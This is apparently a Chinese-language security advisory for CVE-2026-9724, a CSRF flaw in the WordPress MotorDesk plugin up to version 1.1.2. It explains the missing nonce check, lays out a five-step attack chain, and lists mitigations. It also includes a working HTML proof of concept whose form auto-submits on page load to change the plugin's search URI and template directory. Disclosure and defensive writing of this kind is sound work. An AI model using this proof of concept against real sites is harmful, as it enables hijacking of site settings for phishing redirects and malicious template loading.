CVE-2026-9724 WordPress MotorDesk插件CSRF漏洞

漏洞信息

漏洞编号

CVE-2026-9724

漏洞类型

跨站请求伪造（CSRF）

CVSS评分

4.3 中危

攻击向量

网络 (AV:N)

认证要求

无需认证 (PR:N)

用户交互

需要交互 (UI:R)

影响产品

WordPress MotorDesk插件

漏洞概述

CVE-2026-9724是WordPress MotorDesk插件中存在的一个跨站请求伪造（Cross-Site Request Forgery, CSRF）漏洞。该漏洞由WordFence安全团队的安全研究员发现并报告，CVSS评分为4.3分，属于中危级别。MotorDesk是一款用于汽车经销商管理网站的WordPress插件，其核心功能包括车辆库存展示、搜索页面配置以及自定义模板管理等。该漏洞存在于插件的motordesk_admin_home函数中，由于缺少或未正确实施nonce（一次性令牌）验证机制，导致未经认证的攻击者可以通过构造恶意请求来篡改插件的配置设置。具体而言，攻击者可以在管理员不知情的情况下修改搜索页面的URI地址以及自定义模板目录的路径等关键配置信息。该漏洞影响所有1.1.2及以下版本的用户，由于WordPress插件生态系统的广泛使用，这一漏洞可能对大量使用MotorDesk插件的汽车经销商网站构成潜在威胁。虽然该漏洞的CVSS评分仅为中危级别，但由于其无需认证即可利用的特性，加上WordPress管理员通常拥有较高的系统权限，该漏洞仍然具有较高的实际危害性。攻击者成功利用此漏洞后，可能导致网站功能异常、恶意重定向、钓鱼攻击或进一步的攻击渗透。建议所有使用MotorDesk插件的网站管理员及时关注官方更新并采取相应的防护措施。

技术细节

该漏洞的核心问题在于MotorDesk插件的motordesk_admin_home函数缺少适当的CSRF防护机制。在WordPress中，防止CSRF攻击的标准做法是使用nonce机制——即在每次表单提交或敏感操作时生成一个一次性令牌（nonce），服务器端会验证该令牌的有效性。然而，MotorDesk插件在处理管理员配置更新请求时，没有正确实施这一验证流程。攻击者可以利用这一缺陷，通过以下方式实施攻击：首先，攻击者构造一个包含恶意配置参数的HTTP请求，该请求的目标URL指向目标网站的WordPress管理后台中处理motordesk_admin_home函数的端点；然后，攻击者将该请求嵌入到一个看似无害的网页中（例如通过HTML表单自动提交或图片标签等方式）；最后，当目标网站的管理员在已登录状态下访问包含恶意代码的页面时，浏览器会自动携带管理员的认证Cookie发送该请求。由于服务器端缺少nonce验证，恶意请求会被正常处理，导致插件的配置设置被修改。攻击者可修改的关键配置包括搜索页面的URI（可能用于重定向到恶意页面）和自定义模板目录路径（可能用于加载恶意模板文件）。值得注意的是，虽然该漏洞本身被评为中危，但结合其他漏洞（如本地文件包含或远程代码执行漏洞）可能造成更严重的安全后果。

攻击链分析

STEP 1

步骤1：信息收集

攻击者通过搜索引擎或WordPress插件目录识别使用MotorDesk插件（版本≤1.1.2）的目标网站，并确认目标网站的管理员活跃状态。

STEP 2

步骤2：构造恶意页面

攻击者创建一个包含自动提交表单的恶意HTML页面，表单的action指向目标网站的motordesk_admin_home处理端点，并包含恶意配置参数（如修改搜索URI和模板目录路径）。

STEP 3

步骤3：诱导管理员访问

攻击者通过钓鱼邮件、社交工程或在受信任的网站上嵌入恶意代码等方式，诱导已登录目标网站的管理员访问恶意页面。

STEP 4

步骤4：CSRF请求执行

管理员浏览器自动提交表单，由于携带有效的认证Cookie且服务器缺少nonce验证，恶意请求被正常处理，插件配置被修改。

STEP 5

步骤5：利用修改后的配置

攻击者利用修改后的搜索URI进行钓鱼攻击，或通过恶意模板目录路径加载恶意代码，实现进一步的攻击渗透。

PoC / 利用代码

⚠️ 仅供安全研究

以下代码仅用于安全研究和授权测试，未经授权使用属于违法行为。

PoC

<!-- CVE-2026-9724 PoC - MotorDesk WordPress Plugin CSRF -->
<!-- This PoC demonstrates how an attacker can exploit the missing nonce validation -->
<!-- in the motordesk_admin_home function to modify plugin settings -->

<!DOCTYPE html>
<html>
<head>
    <title>Loading...</title>
</head>
<body>
    <!-- Auto-submit form to exploit CSRF vulnerability -->
    <form id="csrf-form" action="http://target-wordpress-site.com/wp-admin/admin.php?page=motordesk" method="POST">
        <!-- Parameters to modify the search page URI -->
        <input type="hidden" name="motordesk_search_uri" value="/malicious-search-page" />
        <!-- Parameters to modify the custom template directory path -->
        <input type="hidden" name="motordesk_template_dir" value="/path/to/malicious/templates" />
        <!-- Additional configuration parameters can be added here -->
        <input type="hidden" name="action" value="update_settings" />
    </form>
    <script>
        // Auto-submit the form when the page loads
        document.getElementById('csrf-form').submit();
    </script>
</body>
</html>

影响范围

MotorDesk for WordPress <= 1.1.2

防御指南

临时缓解措施

在官方修复版本发布之前，建议采取以下临时缓解措施：1）暂时停用MotorDesk插件，直到确认漏洞已修复；2）如果业务需要无法停用插件，应限制管理员后台的访问权限，仅允许可信IP地址访问管理面板；3）部署Web应用防火墙（WAF）规则，过滤来自外部的POST请求到motordesk相关端点；4）定期检查插件配置设置，确保搜索URI和模板目录路径未被恶意修改；5）对管理员进行安全意识培训，避免点击可疑链接；6）启用WordPress的安全审计日志功能，监控所有配置变更操作。